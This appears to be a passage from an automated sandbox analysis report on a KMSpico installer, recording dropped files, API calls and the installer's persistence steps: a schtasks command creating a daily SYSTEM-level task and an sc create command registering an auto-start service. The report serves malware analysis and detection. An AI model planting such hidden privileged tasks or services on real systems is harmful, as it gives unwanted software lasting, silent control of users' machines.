              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\is-5SAV1.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\UninsHs.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\is-SMU19.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\DevComponents.DotNetBar2.dll (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Roaming\MyApp\data\is-GCT6R.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\driver\tap-windows-9.21.0.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Roaming\MyApp\core.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\is-8DDLC.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Windows\system32\Vestris.ResourceLib.dll (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\is-V2L4O.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Roaming\MyApp\unins000.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\is-E2FDT.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\unins000.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeFile created: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Local\Temp\is-IGGRK.tmp\_isetup\_setup64.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Windows\System32\is-5P7A8.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\AutoPico.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Roaming\MyApp\is-R1684.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\Service_KMS.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\driver\is-EH2SR.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Windows\system32\Vestris.ResourceLib.dll (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Windows\System32\is-0JVNC.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Windows\System32\is-5P7A8.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Local\Temp\Setup Log 2025-02-28 #001.txtJump to behavior

              Boot Survival

              barindex
              Uses schtasks.exe or at.exe to add and modify task schedules
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /TN "AutoPico Daily Restart" /TR "'C:\Program Files\KMSpico\AutoPico.exe' /silent" /SC DAILY /ST 23:59:59 /RU "NT AUTHORITY\SYSTEM" /RL Highest /F
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\KMSpicoJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\KMSpico\KMSpico.lnkJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\KMSpico\Log KMSpico.lnkJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\KMSpico\AutoPico.lnkJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\KMSpico\Uninstall KMSpico.lnkJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create "Service KMSELDI" binPath= "C:\Program Files\KMSpico\Service_KMS.exe" type= own error= normal start= auto DisplayName= "Service KMSELDI"
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0042285C SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,6_2_0042285C
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,6_2_00423C0C
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,6_2_00423C0C
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004241DC IsIconic,SetActiveWindow,SetFocus,6_2_004241DC
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00424194 IsIconic,SetActiveWindow,6_2_00424194
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00418384 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,6_2_00418384
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00417598 IsIconic,GetCapture,6_2_00417598
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00417CCE IsIconic,SetWindowPos,6_2_00417CCE
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00417CD0 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,6_2_00417CD0
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00483D18 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,6_2_00483D18
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0041F118 GetVersion,SetErrorMode,LoadLibraryA,SetErrorMode,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,6_2_0041F118
              Source: C:\Users\user\Desktop\KMSpico.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\KMSELDI.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
